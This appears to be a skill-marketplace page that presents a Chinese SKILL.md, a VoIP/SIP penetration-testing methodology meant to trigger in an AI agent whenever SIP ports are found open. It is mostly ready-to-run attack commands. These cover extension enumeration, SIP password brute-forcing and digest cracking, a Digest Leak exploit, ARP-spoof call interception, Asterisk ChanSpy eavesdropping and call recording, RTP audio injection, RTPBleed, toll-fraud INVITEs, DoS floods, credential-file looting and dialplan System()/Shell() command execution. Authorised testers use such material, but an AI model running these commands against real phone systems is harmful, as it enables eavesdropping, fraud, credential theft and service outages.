Skip to main content

voip-pentesting

VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。 当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。

Quellinformationen

Repository
wgpsec/AboutSecurity
Letzte Quellaktivität
15. Oktober 2026 um 06:58
Erkannte Sprache von SKILL.md
Chinesisch
Sterne
1.846
Forks
258

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

Datei-Explorer
2 Dateien

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
voip-pentesting
description
VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。 当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。
metadata
{"tags":"voip,sip,rtp,语音通信,通话劫持,sipvicious","category":"exploit"}
# VoIP/SIP 渗透测试方法论 ## 深入参考 - SIP 协议详解、SIPVicious 工具链、RTP 注入/窃听、Asterisk 配置审计 -> 读 [references/voip-techniques.md](references/voip-techniques.md) --- ## 整体决策树 ``` VoIP 基础设施渗透测试 ├─ Phase 1: 服务发现 │ ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS) │ ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现 │ ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP) │ └─ Google Dorks -> 暴露的 VoIP 管理界面 ├─ Phase 2: SIP 枚举 │ ├─ 方法枚举 (OPTIONS / SIPPTS enumerate) │ ├─ 分机枚举 (svwar / SIPPTS exten) │ ├─ 响应头分析 -> 指纹识别 │ └─ 电话号码 OSINT ├─ Phase 3: 认证攻击 │ ├─ 在线密码爆破 (svcrack / SIPPTS rcrack) │ ├─ 离线摘要破解 (sipdump + sipcrack) │ ├─ SIP Digest Leak 漏洞利用 │ └─ 默认凭据 ├─ Phase 4: 通话劫持与窃听 │ ├─ 网络嗅探 (Wireshark / ucsniff) │ ├─ ARP 欺骗 -> MitM -> RTP 捕获 │ ├─ ChanSpy / ExtenSpy (Asterisk 监听) │ ├─ RTP 注入 (rtpinsertsound / rtpmixsound) │ └─ DTMF 码提取 (voicemail 密码) ├─ Phase 5: 安全协议分析 │ ├─ TLS 使用 -> SIP 通信加密 │ ├─ SRTP 使用 -> RTP 通信加密 │ ├─ ZRTP 使用 -> 端到端加密 │ └─ 未加密 -> 完全可嗅探 ├─ Phase 6: 已知漏洞与攻击 │ ├─ RTCPBleed (RTP 代理 NAT 绕过) │ ├─ Asterisk 配置错误 (免费拨号) │ ├─ 分机注入 │ ├─ Click2Call 滥用 │ └─ OS/固件漏洞 (FreePBX / Elastix) └─ DoS 攻击 ├─ SIP INVITE Flood ├─ RTP Flood └─ IAX Flood ``` --- ## Phase 1: 服务发现 ### 1.1 网络扫描 ```bash # Nmap SIP 方法扫描 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # svmap (SIPVicious) — SIP 设备发现 svmap 10.10.0.0/24 -p 5060-5070 [--fp] # --fp: 指纹识别 # 注意: 默认 User-Agent 为 "friendly-scanner",容易被阻断 # SIPPTS scan — 高速 SIP 扫描 (UDP/TCP/TLS) sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] # Metasploit use auxiliary/scanner/sip/options_tcp # TCP use auxiliary/scanner/sip/options # UDP ``` ### 1.2 附属服务检查 ``` PBX 可能暴露的服务 ├─ 69/UDP (TFTP) -> 固件更新文件 ├─ 80/443 (HTTP/HTTPS) -> Web 管理界面 ├─ 389 (LDAP) -> 用户信息 ├─ 3306 (MySQL) -> 数据库 ├─ 5038 (Asterisk Manager) -> 管理接口 ├─ 5222 (XMPP) -> 即时消息 └─ 5432 (PostgreSQL) -> 数据库 ``` ### 1.3 Google Dorks ```bash # Grandstream 设备 intitle:"Grandstream Device Configuration" Password # Cisco CallManager inurl:"ccmuser/logon.asp" # Elastix intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle:"FreePBX" ``` --- ## Phase 2: SIP 枚举 ### 2.1 方法枚举 ```bash # SIPPTS enumerate — 发现 PBX 支持的 SIP 方法 sippts enumerate -i 10.10.0.10 # 自定义消息发送与响应分析 sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp # WebSocket SIP sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### 2.2 分机枚举 ```bash # svwar (SIPVicious) — SIP 分机枚举 svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER # SIPPTS exten — 大范围分机扫描 sippts exten -i 10.10.0.10 -r 5060 -e 100-200 # Metasploit use auxiliary/scanner/sip/enumerator_tcp # TCP use auxiliary/scanner/sip/enumerator # UDP # enumiax — IAX 协议用户名枚举 enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 ``` --- ## Phase 3: 认证攻击 ### 3.1 在线密码爆破 ```bash # svcrack (SIPVicious) svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 svcrack -u100 -r1-9999 -z4 10.0.0.1 # 分机范围检查 # SIPPTS rcrack — 多用户/多 IP 密码破解 sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` > **注意**: 用户名可能与分机号相同,也可能不同,取决于 PBX 配置。 ### 3.2 离线摘要破解 ```bash # 从 pcap 提取 SIP 摘要认证 sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt # SIPPTS dump + dcrack sippts dump -f capture.pcap -o data.txt sippts dcrack -f data.txt -w wordlist/rockyou.txt # SIPPTS tshark — 从 pcap 提取 SIP 数据 sippts tshark -f capture.pcap [-filter auth] ``` ### 3.3 SIP Digest Leak 漏洞 利用 SIP 电话固有的漏洞,诱使其泄露摘要认证响应: ```bash # SIPPTS leak — 自动利用 SIP Digest Leak sippts leak -i 10.10.0.10 ``` 攻击流程: 1. 攻击者发送 INVITE 到目标电话 2. 目标振铃 -> 有人接听后挂断 3. 目标发送 BYE 4. 攻击者回复 407 要求认证 5. 目标在第二个 BYE 中发送摘要认证 6. 离线破解摘要 --- ## Phase 4: 通话劫持与窃听 ### 4.1 网络嗅探 ```bash # 前提: 位于同一网络 / 可进行 ARP 欺骗 # 工具: Wireshark, tcpdump, ucsniff # ucsniff — 专为 VoIP 设计的嗅探工具 ucsniff -i eth0 ``` **加密检查**: - SIP 使用 TLS -> 无法看到 SIP 通信明文 - 使用 SRTP/ZRTP -> RTP 数据包加密 ### 4.2 Asterisk 监听功能 ```bash # ChanSpy — 监听所有通话 # 配置: exten => 333,1,ChanSpy('all',qb) # 拨打 333 即开始监听,按 * 切换通话 # ExtenSpy — 监听指定分机 # 录制通话到文件 # [recorded-context] # exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) # exten => _X.,2,MixMonitor(${NAME}) ``` ### 4.3 RTP 注入 ```bash # rtpinsertsound — 向通话注入音频 sudo apt install rtpinsertsound rtpinsertsound <target_ip> <rtp_port> audio.wav # rtpmixsound — 混合音频到通话 sudo apt install rtpmixsound # DTMF 码提取 (语音信箱密码) multimon -a DTMF -t wac pin.wav ``` --- ## Phase 5: 安全协议分析 ### 5.1 加密状态决策树 ``` 通信加密评估 ├─ SIP 信令 │ ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令 │ └─ TLS (5061) -> 信令加密 ├─ RTP 媒体流 │ ├─ 明文 RTP -> 可捕获并播放通话 │ ├─ SRTP -> 媒体加密 │ └─ ZRTP -> 端到端加密 └─ 风险评估 ├─ 全明文 -> 高风险 (完全可窃听) ├─ 仅 SIP TLS -> 中风险 (媒体仍可截获) └─ TLS + SRTP/ZRTP -> 低风险 ``` --- ## Phase 6: 已知漏洞与攻击 ### 6.1 RTCPBleed RTP 代理的 NAT 穿越学习模式缺乏认证,攻击者可发送 RTP 包劫持媒体流: ```bash # 检测 RTP Bleed sippts rtpbleed -i 10.10.0.10 sippts rtcpbleed -i 10.10.0.10 # 利用 RTP Bleed Flood sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v # 注入音频 sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### 6.2 Asterisk 配置错误 ``` 免费拨号风险评估 ├─ type=friend + insecure=port,invite │ └─ 任何人可连接并拨打外部号码 ├─ allowguest=true (sip.conf 默认) │ └─ 无认证用户可拨打 ├─ 默认 context 包含外部拨号规则 │ └─ include => external (含 Dial(SIP/trunk/${EXTEN})) └─ IVRS 分机长度未校验 └─ 输入完整电话号码拨出 ``` ### 6.3 分机注入 ```bash # 旧版 Asterisk: ${EXTEN} 可注入 # 输入 101&SIP123123123 -> 同时拨打 101 和 123123123 # 通过绕过匹配的分机名注入外部号码 ``` ### 6.4 未授权 INVITE 检测 ```bash # SIPPTS invite — 检测未认证拨号 sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # 呼叫转移 sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` --- ## DoS 攻击 ```bash # SIP INVITE Flood sippts flood -i 10.10.0.10 -m invite -v # SIP Ping (响应时间测试) sippts ping -i 10.10.0.10 # IAX Flood iaxflood <target> # INVITE Flood (独立工具) inviteflood <interface> <target> <port> # SIPp (SIP 流量生成器) sipp -sf scenario.xml <target>:5060 ``` --- ## Asterisk 后渗透 ### 配置文件与凭据 ``` 关键文件 ├─ sip.conf -> SIP 用户密码 ├─ extensions.conf -> 拨号计划 ├─ manager.conf -> AMI 管理密码 ├─ FreePBX: │ ├─ amportal.conf -> Web 管理员密码 │ └─ FreePBX.conf -> 数据库密码 ├─ Elastix: │ └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文) └─ MySQL root 可能无密码 ``` ### RCE (获取配置写入权限后) ```bash # Asterisk System() 命令 same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) # Shell() 命令 (替代 System) same => n,Shell(command) ```
Auf GitHub ansehen